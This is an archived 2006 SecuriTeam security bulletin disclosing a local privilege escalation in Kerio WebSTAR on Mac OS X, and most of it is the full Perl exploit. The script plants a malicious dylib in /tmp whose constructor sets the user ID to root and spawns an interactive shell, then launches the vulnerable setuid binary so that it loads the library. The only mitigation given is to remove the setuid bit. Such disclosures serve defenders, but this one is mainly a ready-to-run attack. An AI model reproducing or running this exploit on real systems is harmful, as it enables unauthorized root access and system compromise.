

# [EXPL] Kerio WebSTAR Local Privilege Escalation (Exploit)

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-11/msg00039.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxx)>
  - *Date:* 16 Nov 2006 14:53:34 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

Kerio WebSTAR Local Privilege Escalation (Exploit)

---

## SUMMARY

"Kerio WebSTAR is an easy-to-use web server for Mac OS X. Acquired in January 2006 from 4D, Kerio WebSTAR 5 (formerly known as 4D WebSTAR Server Suite) helps small companies run Internet and intranet websites and integrate them with databases."

If an attacker is able to gain access to either the webstar user or the admin group, he or she may be able to execute code as root .

## DETAILS

```
Exploit:
#!/usr/bin/perl
#
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com)
#
# you must have access to the webstar user or be in the admin group
#
# This is currently not patched... chmod -s your kerio binaries
```

## [EXPL] Kerio WebSTAR Local Privilege Escalation (Exploit)

```
foreach $key (keys %ENV) {  
  
delete $ENV{$key};  
  
}  
  
$tgts{"0"} = "kerio-webstar-5.4.2-mac.bin -  
WSAdminServer:/Applications/Kerio WebSTAR/AdminServer/WSAdminServer";  
$tgts{"1"} = "kerio-webstar-5.4.2-mac.bin -  
WSWebServer:/Applications/Kerio WebSTAR/WebServer/WSWebServer";  
  
unless (($target) = @ARGV) {  
  
print "\n\nUsage: $0 <target> \n\nTargets:\n\n";  
  
foreach $key (sort(keys %tgts)) {  
($a,$b) = split(/:/,$tgts{"$key"});  
print "\t$key . $a\n";  
}  
  
print "\n";  
exit 1;  
}  
  
$ret = pack("l", ($retval));  
($a,$b) = split(/:/,$tgts{"$target"});  
print "*** Target: $a, Binary: $b\n";  
  
open(KP,">/tmp/kerio_pwn.c");  
printf KP "extern char * argv; __attribute__((constructor)) static void  
kerio_pwned()\n";  
printf KP "{ seteuid(0); setegid(0); setuid(0); setgid(0);  
system(\"/bin/sh -i\"); exit(0); }\n";  
  
system("gcc -dynamiclib -o /tmp/libucache.dylib /tmp/kerio_pwn.c  
-current_version 5.0.1 -compatibility_version 5.0.1 -install_name  
libucache.5.dylib");  
  
system("cd /tmp; \"$b\"");
```

### ADDITIONAL INFORMATION

The information has been provided by:  
<[mailto:kf\\_lists\[at\]digitalmunition\[dot\]com](mailto:kf_lists[at]digitalmunition[dot]com)> kf.

=====

[EXPL] Kerio WebSTAR Local Privilege Escalation (Exploit)

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.